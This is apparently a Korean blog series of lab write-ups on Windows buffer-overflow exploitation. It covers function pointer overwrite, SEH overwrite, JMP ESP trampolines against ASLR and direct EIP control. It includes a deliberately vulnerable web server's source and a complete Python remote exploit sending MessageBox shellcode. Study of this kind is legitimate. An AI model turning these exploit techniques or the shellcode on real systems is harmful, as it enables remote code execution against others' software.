Training 2020 #6 ( Funtion Pointer Overwrite )

이번 포스팅부터는 기본적인 스택 버퍼 오버플로우 기법과 취약점 발생 원리는 동일하나 공격 방법이 다른 힙 메모리와 data 섹션에서 발생하는 버퍼 오버 플로우에 대해 알아볼 것이다.

힙 메모리는 스택과 다르게 RET, SEH가 존재하지 않으므로 공격을 성공시키기 위해 힙 메모리에 존재하는 다른 오브젝트, 포인터 및 헤더 등을 덮어쓰는 방법으로 공격한다.

Function Pointer Overwrite

Function Pointer Overwrite 란 말 그대로 함수의 포인터를 덮는 것이다. 이를 자세히 이해하기 위해서는 메모리의 구조를 알 필요가 있다.

image

전체적인 메모리 구조이다.
보면 알 수 있듯이 Stack만 높은 주소에서 낮은 주소로 자라고 나머지 Heap, BSS, Data, Text는 낮은 주소에서 높은 주소로 자라는 것을 알 수 있다.

static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;

strcpy(log_buf,buf);
log_func();

위에 소스는 static으로 정적 변수를 선언하였다. 따라서 Data 영역에 변수가 올라가게 되고 buf에 500바이트 이상의 문자열을 입력하게 되면 strcpy함수 부분에서 문자열의 길이를 검사하지 않아 log_buf[500]의 크기를 모두 덮어씌운 다음 함수 포인터를 수정할 수 있게 될 것이다.

image

실습

#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;

int log_GET(void){
    printf("Logging : %s\n", log_buf);
    return 0;
}

int log_POST(void){
    printf("Logging : %s\n", log_buf);
    return 0;
}

int parse(SOCKET sock, char *buf){
    char url[1000] = {0,};
    char send_buf[2000]={0,};
    char * token = strtok(buf, " ");
    char * method = token;
    //if(strlen(token+(strlen(method)+1))>1000) exit(1);
    strcpy(url,token+(strlen(method)+1));
    printf("URL : %s ",url);

    if (strcmp(method,"GET") == 0){
        sprintf(send_buf,
            "HTTP/1.1 200 OK\n"
            "Server: simple web server\n"
            "Content-Type: text/html\n\n"
            "<html>\n"
            "<body>\n"
            "Welcome To My WebServer !!\n"
            "</body>\n"
            "</html>"
        );
        send(sock, send_buf, sizeof(send_buf), 0);
        log_func = log_GET;
    } else {
        sprintf(send_buf,
            "HTTP/1.1 404 Not Found\n"
            "Server: simple web server\n"
            "Content-Type: text/html\n\n"
            "<html>\n"
            "<body>\n"
            "Page Not Found!!\n"
            "</body>\n"
            "</html>"
        );
        send(sock, send_buf, sizeof(send_buf), 0);
        log_func = log_POST;
    }
    printf("\nlog func ptr : 0x%x\n",log_func);
    printf("\nlog buf length : %d\n",strlen(url));
    memcpy(log_buf, url, strlen(url));
    printf("\nlog buf : 0x%x\n",&log_buf);
    printf("\nlog func ptr : 0x%x\n",log_func);
    log_func();
    return 0;
}

int _tmain(int argc, _TCHAR* argv[])
{
    WSADATA wsadata = {0};
    WSAStartup(WORD(2.0), &wsadata);

    sockaddr_in addr_server = {0,};
    sockaddr_in addr_client = {0,};
    SOCKET server_sock = socket(AF_INET, SOCK_STREAM, 0);
    SOCKET client_sock = socket(AF_INET, SOCK_STREAM, 0);
    addr_server.sin_family = AF_INET;
    addr_server.sin_addr.s_addr = htonl(INADDR_ANY);
    addr_server.sin_port = htons(80);
    int addrlen_server = sizeof(sockaddr);
    int addrlen_clt = sizeof(sockaddr);
    char recv_buf[2000]={0,};

    printf("# Simple Web Server v0.1\n");
    printf("[+] Server Start !!\n");

    if (bind(server_sock, (sockaddr *)&addr_server, sizeof(sockaddr)) == SOCKET_ERROR) {
        printf("Bind Error : %d\n", WSAGetLastError());
        exit(-1);
    } 

    if (listen(server_sock, 5) == SOCKET_ERROR) {
        printf("Listen Error : %d\n", WSAGetLastError());
        exit(-1);
    }

    while (1) {
        client_sock = accept(server_sock, (sockaddr *)&addr_client, &addrlen_clt);
        if (client_sock == INVALID_SOCKET) {
            printf("accept failed. Error No. %d\n", WSAGetLastError());    
        }
        //printf("Connected : %ld\n", client_sock);
        recv(client_sock, recv_buf, 2000, 0);
        parse(client_sock,recv_buf);
        closesocket(client_sock);
    }
    return 0;
}

이번에 공격할 간단한 원격 웹 서버 프로그램의 소스 코드이다. ( 사실 나는 간단하지 않지만 책에서 간단하다 그랬으니 그런걸로 하자. )

image

위 소스 코드를 실행하고 브라우저에서 127.0.0.1 ( localhost ) 또는 자신의 아이피 주소를 입력해 보자. 그러면 서버 프로그램이 실행 중인 터미널에 접속 정보 및 입력 문자열 길이 등의 정보가 출력된다.

static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;
int parse(SOCKET sock, char *buf){
    char url[1000] = {0,};
memcpy(log_buf, url, strlen(url));

위 세가지 코드를 확인해보자. 이 소스코드의 취약점이 보일 것이다.

  • log_buf 의 크기는 500 이다.
  • url 의 크기는 1000 이다.
  • log_buf 에 url 의 내용을 옮기며 옮길 수 있는 크기는 url의 길이 만큼이다.
  • url 에 500 바이트 이상의 문자열을 입력하면 메모리를 덮어씌울 수 있다.

더 자세히 분석하기 위해 immunity debugger를 이용하였다.

image

우선 취약점이 존재하는 함수에 BP를 걸어주기 위해 Ctrl + N 을 눌러 함수 이름에서 parse 함수를 찾아주자.

image

)

image

그 후 memcpy 함수 부분을 확인해보자. EBP-3E8에 있는 값을 ECX로 옮겨 ECX를 log_buf의 위치 ( 0x00403020 )로 옮겨간다는 것을 확인할 수 있다.

image

왼쪽 아래 덤프창에서 log_buf ( 0x00403020 )이 덮어 씌워지는 것을 확인할 수 있다.

image

그 후 프로그램을 진행시키다 보면 log_func을 부르는 부분이 있는데 어셈블리어를 보면 그 주소값을 담고 있는 위치가 0x00403214 이다. 하지만 아까 입력받은 url 주소가 500 바이트가 넘어가며 0x303d713b로 덮여있는 것을 확인할 수 있었다. 이 프로그램에는 log_func의 값을 출력해주는 함수가 있으니 한번 더 실행시켜서 확인해보자.

image

위에서 확인한 대로 0x303d713b로 log_func의 주소가 뒤덮인 것을 확인할 수 있었다. 따라서 0x00403214의 위치를 우리가 쉘코드를 입력한 주소로 넘겨주기만 하면 우리가 원하는 프로그램을 실행시킬 수 있다.

image
import struct
from socket import *

NOP = "\x90" * 200

# Messagebox: HelloSCP!!
SHELLCODE  = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
SHELLCODE += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
SHELLCODE += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
SHELLCODE += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
SHELLCODE += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
SHELLCODE += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x50\x21"
SHELLCODE += "\x21\x01\x68\x6c\x6f\x53\x43\x68\x20\x48\x65\x6c\x89\xe1\xfe"
SHELLCODE += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"

print "Shellcode Length :", len(SHELLCODE)
DUMMY = "A"*(499-len(NOP+SHELLCODE))
BUF = struct.pack('<L',0x00403020)
#BUF = struct.pack('<L',0x00000000)
PAYLOAD = NOP + SHELLCODE + DUMMY + BUF

print " [+] Sending Packet..."
s = socket(AF_INET,SOCK_STREAM,0)
s.connect(('127.0.0.1',80))
s.send("GET /"+PAYLOAD)
print s.recv(150)
s.close()

위에서 알아낸 정보들을 토대로 완성된 쉘코드이다.

image

쉘코드를 실행시켜 성공적으로 메시지 박스를 띄울 수 있었다!

재밌다!

실험할 수 있는 실험체 (친구) 가 있다면 친구와 함께 실습하면 더 재밌었다!
웹 서버 프로그램을 공격하는 Exploit을 Remote Exploit 공격이라고 부르는데 원격으로 공격을 실행할 수 있어 서로의 IP를 알고 있다면 서로 웹 서버 프로그램을 실행시키고 원격으로 공격을 하면서 놀 수 있다!

(처음엔 선배님이 실험체가 되어주어서 선배님 화면에 계산기를 띄웠는데 재밌었다. 보여주기식 공격이었지만 그래도 다시 한번 흥미를 가지고 공부를 할 수 있게 되었다.)

Training 2020 #5-1 ( SEH , EggHunter )

Training 2020 #5 는 SEH 에 대한것과 함께 EggHunter 에 대한 내용 또한 다루고 있는데 이번 포스팅에서는 SEH에 대해서만 다룰 예정이다.


SEH Chain

SEH : Structured Exception Handling 의 약자로, Windows 를 위한 네이티브 예외 처리 메커니즘이다. 각 스레드마다 독립적으로 설치되고 처리된다.

image

_EXCEPTION_REGISTRATION_RECORD는 __try 문의 중첩 정도에 따라 그림과 같은 링크드 리스트 구조를 갖고 스택에 할당된다.

  1. 먼저 pExceptionHandler 함수가 호출된다.
  2. 해당 핸들러에서 익셉션을 처리하지 못할 경우 pNextSEHRecord를 참조하여 다음 핸들러를 호출한다.
  3. 이를 계속 반복한다.
  4. pNextSEHRecord에 0xFFFFFFFF가 할당되어 있는 디폴트 핸들러인 UnhandledExceptionHandler까지 도달할 경우 해당 익셉션을 커널로 넘겨 프로세스를 재개하거나 종료시킨다.

SEH OVERWRITE ( WINDOWS ) 개념

  • Stack guard ( SG ), Stack shield ( SS ), Stack cookie, canary, 보안검사 등 여러가지 이름으로 불리는 방어기법을 우회하기 위한 방법

    • Stack cookie ( Canary ) : 스택에 Cookie ( Canary ) 라고 불리는, 랜덤한 데이터를 저장해 둔다. ret 하기 전에 넣어둔 Cookie ( Canary ) 가 변조됐는지 확인한다. 변조됐다면 공격을 감지하고 에러 메시지를 출력한다.
    • image
  • SEH overwrite는 Cookie와 Return address를 넘어, 등록해 둔 SEH 데이터를 예외 핸들러와 Next SEH Record 포인터를 바꾸는 공격방식이다.

    • Next SEH Record에는 셸 코드로 점프하는 코드를, 예외 핸들러는 POP POP RET 코드가 있는 주소를 써 준다.
    • 이 상태로 예외를 발생시키면, POP POP RET 코드가 실행되고, RET 코드를 통해 Next SEH Record의 주소에 있는 점프 코드를 실행한다. 점프 코드를 실행하면 셸 코드에 도달한다.
    • image

실습

image

우선 reader_seh.exe 내부에서 pop pop ret 가젯을 찾아보도록 하자. 그리고 주소를 기억해두자.

image

그리고 저 값을 쉘코드의 SEH 값으로 주고 NSEH에는 dummy값 ( 여기서는 좀 더 수월하게 진행하기 위해 nop 를 끼워둠 )2byte와 jmp 6 코드를 넣어주도록 하자. 그럼 위에서 설명한 과정을 거쳐 우리가 설정해둔 메세지 박스가 실행될 것이다.

image

Training 2020 #4 ( Trampoline )

이번 문제는 전과 같은 소스코드에 ASLR 보호기법이 추가된 문제이다. 우선 ASLR 보호기법에 대해 알아보자.

ASLR ( Address Space Layout Randomize ) : 각 프로세스 안의 스택이 임의의 주소의 위치하도록 하는 기법

말 그대로 주소를 계속 바꾸어주는 보호 기법이다.

여기서 이 ASLR 기법을 우회하기 위한 방법으로 고안된 것이 trampolline technique 이다.


ASLR 기법의 특징

ASLR은 위에서 설명한 것과 같이 각 프로세스 안의 스택이 임의의 주소의 위치하도록 하는 기법이다.

image

우리는 전에 이러한 과정을 통해 익스코드를 짯다.

image

하지만 ASLR 보호 기법을 적용하면 위와 같이 스택의 주소가 계속 바뀌게되어 어디로 변조해야 할지를 몰라 익스를 못하게 하는 보호 기법이다.

이 ASLR의 경우 Windows 와 리눅스의 경우로 나눌 수 있다.

  • Windows

    • 사용하는 DLL 중 어떤 DLL은 고정 주소를 가지고, 어떤 DLL은 ASLR기법을 적용하는 경우가 생길 수 있다. 이 때, 고정주소를 가지는 모듈( EXE, DLL )의 주소를 이용할 수 있다.
  • Linux

    • OS의 설정에 따라 ASLR이 적용된다.

우리는 Windows 환경에서 실습을 할건데 고정 주소를 가지고 있는 모듈을 이용하여 스택의 Return Address에 직접 점프하는 것이 아니라, "JMP 레지스터"가 있는 곳으로 점프하여 동적으로 버퍼 주소로 이동하는 기법이다.


Trampoline Technique 개념

image

  1. SFP까지 더미바이트 즉, 쓰레기 값을 채운다.
  2. 동적 주소를 가진 모듈의 JMP ESP 코드를 찾는다. ( 반드시 JMP ESP 코드일 필요는 없다. 특정 레지스터에 스택 주소가 들어있다면, 그리고 그 위치에 Stack BOF를 이용하여 원하는 값을 넣을 수 있다면 가능하다. )
  3. RET에 JMP ESP 코드의 주소를 넣고 그 뒷부분에 SHELL CODE로 채운다.
  4. JMP ESP 코드로 이동하여 JMP ESP를 실행
  5. ESP위치(SHELL CODE)에 EIP를 가져옴
  6. SHELL CODE 실행

이런 시나리오가 가능


실습

image

( imm으로 reader.exe 첫번째 실행 )

image

( imm으로 reader.exe 두번째 실행 )

첫번째 실행했을때는 main의 주소가 001E1000 이었지만 두번째에는 00D6100 으로 바뀌었다. 위와 같이 ASLR 기법이 적용되어 메모리의 주소가 계속 랜덤하게 바뀌는 것을 확인할 수 있다.

image

( imm 두번째 실행시 모듈들의 주소 )

image

( imm 세번째 실행시 모듈들의 주소 )

위와 같이 reader.exe에는 ASLR 기법이 적용되어 주소가 계속 바뀌지만 KERNELBASE.dll, kernel32.dll, ntdll.dll 들은 고정 주소를 가지고 있는 것을 확인할 수 있다.

image

저번에 옮겨둔 mona 플러그인으로 !mona modules 라는 명령어를 입력하면 어떤 보호기법이 걸려있는지 각 모듈마다 확인할 수 있다.

나는 kernel32.dll 에서 JMP ESP 코드를 찾기로 하였다.

  • 참고

    • 명령어 검색으로 JMP ESP 를 찾아도 되고 FF E4 기계어를 찾아도 된다.

    • 실제 코드가 JMP ESP 로 코딩된게 아니라 어떤 주소나 값 등이 우연히 FF E4 여도 된다.

      • Executable 하고 ASLR이 적용되지 않은 영역에 있는 것이 중요!

image

kernel32.dll 로 들어가 Ctrl + F 를 눌러 jmp esp를 검색해 주자.

image

나는 75C8F8F7에 JMP ESP 코드가 있었다. 이 주소를 기억해두자.

image

Lab4 폴더 안에 위 파일과 같은 excode가 있을텐데 jmp 주소를 위에서 기억해두었던 주소로 바꾸어주자.

image

그 후 파이썬 파일을 실행한뒤 생성된 test.txt 파일을 인자로 넣어주면 성공적으로 메세지 박스를 띄울 수 있었다.

Training 2020 #3 ( Direct EIP )

이번 포스팅에는 전에 사용했던 취약한 소스코드를 가지고 HelloSCP! 라는 메세지 박스를 띄우는 시간을 가져볼 것이다.


시나리오 확인

image

전에 사용했던 이 소스코드를 가지고 실험을 할건데 이 코드가 어떻게 취약한지 다시 복습을 해보자.

image

메모리 구조를 보면 대략 위와 같은 과정을 거칠텐데 이 과정에서 readbuf에 입력하는 문자열의 길이가 500을 넘게 된다면 다음과 같은 상황이 발생한다.

image

다음과 같은 메모리 코럽션(?)이 일어난다. 여기까지 전 포스팅에서 다뤘었는데 이 취약한 부분을 가지고 다음과 같은 시나리오를 작성 할 수 있다.

image

다음과 같이 실행하고 싶은 SHELL CODE 를 끼워넣어 내가 원하는 실행 결과를 가져갈 수 있다. 우리는 여기서 사용할 쉘 코드로 HelloSCP라는 메세지 박스를 사용할 것이다.

일단 이러한 시나리오를 가지고 있고 A를 가득 채웠을 때 메모리에서는 어떠한 일이 일어나는지 직접 눈으로 확인하기 위해 immunity debugger를 사용하도록 하자. 또한 지금 사용할 것은 아니지만 후에 imm에서 mona라는 모듈을 사용하기 위해 모듈을 추가해주도록 하자.


mona module 추가해주기

image

폴더안에 mona.py라는 파일이 있을텐데 이 파일을 복사해주도록 하자.

image

위 사진을 따라서 Windows 키를 누르고 imm 을 검색 후 Immunity Debugger를 우클릭 해준뒤 Open file location을 눌러 파일 경로를 열어주도록 하자.

image

그럼 이런 창을 볼 수 있는데 immunity debugger는 플러그인들을 PyCommands 안에 관리한다. 폴더안으로 들어가자.

image

그리고 다음과 같은 경로에 왔으면 mona.py 를 붙여넣기 해주면 된다.


immunity debugger 사용하기

image

처음 실행했을 때 위와 같은 화면을 볼 수 있을텐데 이곳은 프로그램에 엔트리 포인트이다. 우리가 봐야 할 부분은 위 소스코드인 reader.exe의 main 부분이므로 그 부분을 찾아가자.

image

저 부분을 누르면 참조하는 모듈을 확인할 수 있다. 눌러보자.

image

그럼 이런 화면이 나오는데 우리가 볼 프로그램은 reader 이니 reader를 더블클릭하면 그 프로그램의 위치로 이동한다.

image

이제 이런 화면을 볼 수 있으면 성공적으로 따라온 것이다.

image

일단 프로그램을 실행 시켰을 때 이 부분에서 멈추도록 BreakPoint ( F2 ) 를 걸어주도록 하자. 제대로 걸렸는지 확인하려면 제일 왼쪽 칸이 푸른빛으로 색이 바뀌었으면 BP( Break Point ) 가 제대로 걸린것이다.

image

그 다음 우리가 확인해야할 부분은 입력을 받는 fgets 함수 부분이다. 이 부분을 찾아 BP를 걸어주도록 하자.

image

또한 이 부분이 중요한데 저 부분은 strcpy를 이용하여 readbuf에 있는 값을 printbuf에 옮겨가는 부분이다. ( 더 자세히 보면 위에 MOV CL,BYTE PTR SS:[EBP+EAX-9C4] 부터 JMZ SHORT reader.0040100 부분을 보면 인자를 하나씩 옮겨 문자열의 길이만큼 루프를 돌아 인자를 하나씩 넘기는 것을 알 수 있다. 이해가 안가면 디버깅 해보자. ) 마찬가지로 BP를 걸어주자.

그 후 실행하면 아무일도 안일어날텐데 지금은 넘겨준 인자가 없어서 그렇다.

그럼 이제 인자를 넘겨주고 immunity debugger를 이용하여 확인해보고 결과창을 보도록 하자. 저는 세번의 실습을 걸칠건데 정상적인 값을 입력했을 때, 비정상적 ( 길이가 긴 문자열 ) 인 값을 입력했을 때, 비정상적 ( 쉘 코드로 작성된 메세지 박스 실행 명령어 ) 인 값2를 입력했을 때 로 나누도록 하겠다.

리버싱에 관심 없으신 분들은 실습2 부터 보아도 무관할거 같다고 생각한다.


실습1 (정상적인 값 입력 )

image

인자로 넘겨줄 문자열을 test.txt로 만들어 reader.exe와 같은 위치에 위치시켜 두자. 나는 간단하게 abcd를 인자로 넘겨주기로 했다.

image

그리고 imm을 실행시킨 뒤 인자로 test.txt를 전해주도록 한다.

그리고 위에 과정과 똑같이 BP를 걸어주면 되는데 가상 머신을 종료하거나 로컬 컴퓨터를 재시작하지 않은 이상 자동으로 똑같은 위치에 BP가 걸려있을 것이니 생략하도록 하겠다.

그럼 F9를 눌러 실행시켜 따라가도록 하자.

image

우선 신경 쓸 곳은 위 3가지 부분인 것 같다. 하나씩 짚고 넘어가 보자.

  1. 함수의 프롤로그 ( 여기서는 reader.exe 의 main 함수 프롤로그 )

  2. text reader 라는 문자열 출력 ( printf 함수 호출 )

  3. 인자의 유무

    1. 인자가 없는지 확인
    2. Usage : reader.exe filename 을 화면에 표시해줌
    3. 프로그램 종료
    4. 위 과정에 대해 자세히 설명하고 싶은데 지식이 부족하여 이렇게 밖에 설명 못 함 ㅎ;;; 일단 이 정도로만 알고 있자.

image

  1. fopen 함수 사용 ( 인자 불러옴 )
  2. fgets 함수 사용 ( 입력 시작 )

대략 이 정도로 알고 있자. 그럼 다시 F9를 눌러 실행시켜 보자.

image

그럼 다음과 같이 fget 함수 부분에서 멈출텐대 ( 당연히 여기다 BP를 걸어놨으니 여기서 멈추겠죠? ) fgets 함수는 EBP -9C4 부분에서부터 입력을 받는것을 알 수 있다. 확인해보자.

image

여태까지 좌측 상단 화면을 봐왔다면 이제 우측 하단 화면을 봐주자. 우측 하단에는 메모리 상태를 보여주는데 여기서 우클릭 한 뒤 Go to EBP 를 눌러주면 현재 EBP 위치로 이동할 수 있다. 눌러주자.

image

성공적으로 EBP 위치로 이동했다. ( 우측 상단을 보면 Register 값을 알려주는데 여기에 나오는 EBP 값과 동일 {물론 같은거니까 ^^; })

image

화살표가 가리키는 부분 ( 메모리 주소가 써져있는 부분 0012FF44 )를 더블 클릭하면 위와 같이 주소를 상대적으로 볼 수 있다. 우리가 찾아야 할 부분은 fget가 입력을 받기 시작하는 부분 EBP-9C4 이다. 스크롤을 왔다갔다 하며 찾아보자.

image

EBP-9C4 부분을 찾았다. 우리가 예상한 대로라면 0012F580 부분에서 입력을 받기 시작할 것이다. 그럼 다시 F9를 눌러주면?

image

예상한대로 0012F580 부터 abcd가 들어갔다. 그리고 이를 통해 strcpy함수를 이용해 인자를 복사하여 입력받은 printbuf이 시작 위치도 알 수 있다.

image

또한 EBP-1F4 부분은 printbuf의 시작위치이므로 값이 옮겨가 저 부분에도 abcd가 들어가 있을것이다.

image)image

예상대로 이 곳이 바로 printbuf의 시작위치라는 것을 알 수 있다.

image

그 후 한번 더 실행시켜주면 reader.exe에도 abcd가 성공적으로 출력된 것을 확인할 수 있다.


실습2 ( 길이가 긴 문자열 넘겨주기 )

image

우리가 예상하는 시나리오는 위에 사진과 같다. ( 같은 사진 여러번 우려먹네 ㅎㅎ;; )

readbuf 에서 A를 500자 이상 넘게 인자를 넘겨주면 printbuf에서는 크기가 500임에도 불구하고 넘어서 입력을 받아버린다. 따라서 원래 정상적으로 있어야할 SFP( Stack Frame Pointer )는 물론 RET 마저 덮어씌워진다.

그렇게 되면 함수가 끝난 뒤 돌아갈 주소를 찾지 못하여 프로그램이 비정상 종료될 것이다. ( 전 포스팅에 한 것을 그대로 할 것 )

image

저번에 짯던 이 익스코드를 실행시켜 A가 550개 입력되어있는 test.txt 텍스트 파일을 만들어준다. 그리고 imm에서 똑같이 test.txt를 인자로 넣고 실행시켜주자.

BP또한 전과 같이 걸어주자.

image

그 뒤 fgets 함수 부분까지 실행시켜주자. 여기서 입력을 받을 때 마찬가지로 EBP-9C4부분에서 부터 입력을 받을텐데 500자가 넘는 문자열을 받는다면 printbuf [EBP -1F4] 로 인자를 복사해가는 과정에서 인자가 SFP와 RET를 모두 덮어버릴것이라는 가설을 세우고 있다. 그럼 우리는 여기서 EBP의 값과 RET의 값을 알아놔야 한다. 알아보자.

image

전과 같이 Go to EBP 를 눌러 EBP 위치로 가보자.

image

그럼 이렇게 EBP위치로 올텐데 그 밑에 RETRUN to .... 라고 써져있는 부분이 바로 함수가 끝난 뒤 돌아갈 RET 값이 된다. 우리는 이 값이 덮어씌워지는지 확인하면 된다. ( EBP = 0012FF44 , RET = 0012FF48 )

image

성공적으로 덮어씌워진 것을 확인할 수 있다. 그럼 저 0012FF44까지 NOP + SHELL CODE + DUMMY BYTE 로 채워넣고 RET값의 printbuf의 위치값을 넣으면 함수가 끝난 뒤 원래 함수로 돌아가지 않고 우리가 설정해둔 메세지 박스가 뜨게 될 것이라 예측할 수 있다.


실습3 ( 메세지 박스 띄우기 )

image

위에 사진은 우리가 할 내용을 간략히 사진으로 표현해본 것이다. RET 변조 값에는 EBP-1F4 인 0012FD50이 들어갈 것이다.

image

reader_exploit2.py 라는 쉘코드를 포함한 익스코드가 이미 짜여져 있으니 열어서 BUF값 즉 printbuf의 위치만 0012FD50으로 바꿔주자. ( 초기값 = 00000000 으로 되어있을 것이다. )

그 후 똑같이 imm 을 실행시키고 test.txt를 인자로 주자.

image

그럼 다음과 같은 결과를 얻는다.

  1. 쭉 프로그램이 실행된다.
  2. RET 값에 0012FD50을 삽입하여 printbuf의 시작위치로 이동한다.
  3. NOP을 따라 쭉 미끄러져 내려온다.
  4. SHELL CODE를 만난다.
  5. SEHLL CODE를 실행한다.

이런 동작 과정을 거치게 된다.

여기까지 프로그램의 취약점을 이용하여 메세지 박스 띄우기를 실습해봤다.


이로 인해 알 수 있는 점은 프로그램의 본연의 의도 ( 여기서는 우리가 입력한 문자열을 그대로 출력해주는 프로그램 ) 를 벗어나 내가 원하는 실행 결과 ( 메세지 박스와 같은 결과 ) 를 가져올 수 있다는 점에서 위험하다는 것을 알 수 있다.

다음 포스팅에 봅시당.

Training 2020 #2 ( VulnCode )

image

Lab2 목차 인 것 같다. Crash가 무엇인지에 대해 알아보고 왜 Crash가 발생하는지에 대해 알아보자.

Crash란 컴퓨터 자체 또는 응용 프로그램이 예기치 않게 기능을 정지하는 것

을 말한다. 그럼 이제는 왜 Crash가 발생하는지 알아 보도록 하겠다.

image

왜 Crash가 발생하는지 알아보기 위해 우리가 직접 취약점이 존재하는 코드를 작성하여 Crash를 발생시켜 보자. 환경은 Visual Studio 2010 Professional 이다.

image

New Project 를 눌러 Win32 Console Application 으로 생성해주자.

image

OK버튼을 눌러준 뒤 Next를 계속 눌러주다 보면 이런 화면이 나오는데 Empty project 목록란을 활성화 시켜주고 Finish 버튼을 눌러주자.

image

그리고 Source Files를 우클릭 한 뒤 새로운 아이템을 추가해주자.

image

C++ 로 새로운 아이템을 추가 해주자.

image

위에 취약한 코드를 작성시켜 주자.

이 코드의 취약한 점은 fgets 함수로 readbuf에 2000의 입력을 받는데 strcpy로 printbuf의 readbuf의 입력값을 복사하는 과정에서 printbuf의 크기를 넘길 수 있는 버퍼오버플로우 취약점이 발생하기 때문이다.

image

메모리 구조를 보면 대략 위와 같은 과정을 거칠텐데 이 과정에서 readbuf에 입력하는 문자열의 길이가 500을 넘게 된다면 다음과 같은 상황이 발생한다.

image

이렇게 되면 프로그램이 비정상 종료가 일어나게 될 것 이다.

그럼 이제 이러한 상황이 일어나는지 확인하기 위해 이 파일을 빌드 해줄건데 그 전에 거쳐야 할 과정이 있다. visual studio 에서 스스로 취약점 진단(?) 을 하는 과정을 거치기 때문에 이러한 과정을 거치지 않도록 설정을 해줘야 한다.

image

Project 메뉴에 test2 Properties 를 눌러준다.

image

그리고 다음 Configuration 메뉴에 Release 메뉴를 선택해준다.

image

C/C++ 메뉴에 Code Generation 에서 Buffer Security Check 를 No로 설정을 바꿔주고

image

다음은 Linker - Advanced 에 Randomized Base Address, Data Execution Prevention (DEP), Image Has Safe Exception Handlers 를 모두 No로 설정해준다.

image

Manifest Tool - Input and Output 메뉴에 Embed Manifest 설정도 No로 바꾸어주고 Apply를 누른뒤 OK로 적용시켜주자.

그럼 소스코드에 버퍼오버플로우 취약점이 있어도 성공적으로 빌드를 할 수 있다.

빌드는 Ctrl + F5 를 눌르면 된다.

image

빌드가 성공적으로 됬다면 다음과 같은 경로에 이런 파일들이 생성되었을 것이다.

우선 우리가 예상한 시나리오대로 문자열 입력을 500이상 하게 되면 프로그램이 비정상 종료되는지 확인하기 위해 익스 코드를 작성해 보자.

image

익스 코드는 다음과 같이 작성한 뒤 빌드된 프로그램과 같은 경로에 위치시켜 두면 된다. 이 코드는 간단하게 문자열 500이 넘는 인자를 넘기기 위해 A가 550개 작성된 텍스트 파일을 작성시키는 코드이다.

image

다음과 같이 경로창에 cmd 를 치면 현재 폴더 경로에서 cmd 창을 열어준다. 그럼 python 파일을 실행시켜보자.

imageimage

다음과 같이 python [file name].py 를 실행시켜주면 A가 550개 작성된 test.txt 파일이 생성되는 것을 확인할 수 있다.

그럼 이 파일을 인자로 test2.exe를 실행시켜 보자.

image

[file name].exe test.txt 명령어를 입력하면 다음과 같이 A*500개가 입력되고 곧 크래시가 나는 것을 확인할 수 있다.

 

이제 windbg를 사용해 볼건데 우선 windbg 란 MicroSoft 에서 지원하는 공식 디버깅 툴 이며 ollydbg와 더불어 대표적인 디버깅 툴 이다. windbg에 대한 자세한 사항은 링크를 클릭해보자.


windbg를 사용하기에 앞서 분석할 크래시 덤프파일을 수집할 수 있도록 레지스트리 설정과 확장 DLL을 불러올 것이다.

image

이것을 보고 따라서 설정할 수 있다면 그대로 하면 되고 못하는 사람들은 자세히 적어둘테니 따라오면 되겠다.

image

Windows + R 키를 누르고 regedit을 열어주자.

image

그리고 다음의 경로를 따라가 주자.

image

그럼 다음 경로에 원래 LocalDumps 가 없을텐대 추가해주자.

image

추가 방법은 Windows Error Reporting 메뉴를 우클릭 한 뒤 New 메뉴에 Key를 눌러 추가해주면 된다.

image

그리고 다음과 같이 DWORD (32-bit) Value 를 눌러 DumpType 을 추가해주자.

image

그리고 DumpType 를 더블 클릭하여 열어 값을 2로 바꾸어주자. 덤프 타입 값을 2로 바꿔주는 이유는 덤프 타입 2 가 full dump 로 크래시가 날경우 전체 덤프를 진행하기 때문이다. 이렇게 설정을 했으면 이제부터 크래시가 나면 다음과 같은 경로에 덤프 파일이 생길 것 이다.

image

다음과 같이 덤프 파일이 생기면 성공적으로 설정이 된 것이다. 그럼 이제 windbg에 사용할 모듈을 추가해 보자.

image

위에 링크에 있는 파일을 복사하여 밑에 링크에 붙여넣기 해주자. 그럼 끝이다. ^^


image

windbg 를 본격적으로 사용해 보자. 크래시가 난 덤프 파일을 windbg를 통해 열어주자.

image

!load msec를 입력하여 위에 경로에 올려둔 msec를 불러와준다.

image

그리고 다음 명령어를 입력해주면 windbg이 일을 시작하시면서 바쁘다고 표시를 하시는데

image

이 표시가 바로 windbg께서 바쁘시다고 표내시는 것이다. 그러니 건들지 말고 가만~히 기다리도록 하자. 기다리면서 exploitable이라는 명령어에 대해 알아보자.

이 명령어는 프로그램에서 크래시가 발생한 경우, 현재 메모리상태나 레지스터 상태 등을 고려하여 위험도를 판단하는 명령어이다.

위험도는 총 4 가지로 분류되는데

  1. exploitable - 익스 가능
  2. probably exploitable - 아마 익스 가능
  3. probably not exploitable - 아마 익스 불가능
  4. not exploitable - 안됨

으로 분류된다.

image

지금은 우리가 만든 매우 취약한 프로그램이기 때문에 당연할지 모르겠지만 windbg도 익스가 가능하다고 판단했다.

image

그리고 다음과 같이 어떤 형식에 익스플로잇이 가능한지까지 알려준다.


이번 포스팅은 여기까지 취약한 코드를 작성하고 크래시를 낸뒤 windbg를 사용하는 방법까지 정리해보록 했다.

Training 2020 #1 ( Setup )

image

전 포스팅을 성공적으로 따라왔다면 이런 화면을 보고 있을것이다. 이제 필요한 프로그램들을 설치하고 환경 변수를 설정해주는 시간을 가져보도록 하겠다.

image

그럼 전시간에 생성시킨 Training2020 바로가기를 들어가면 여러 폴더가 나오는데 그 중 첫번째 Lab1__Setup 폴더에 들어가주도록 하자.

image

폴더를 열고나면 이렇게 여러가지 설치 파일들이 있는데 Sublime Text를 제외하고 python 밑에 파일들을 모두 더블 클릭해주도록 하자.

image

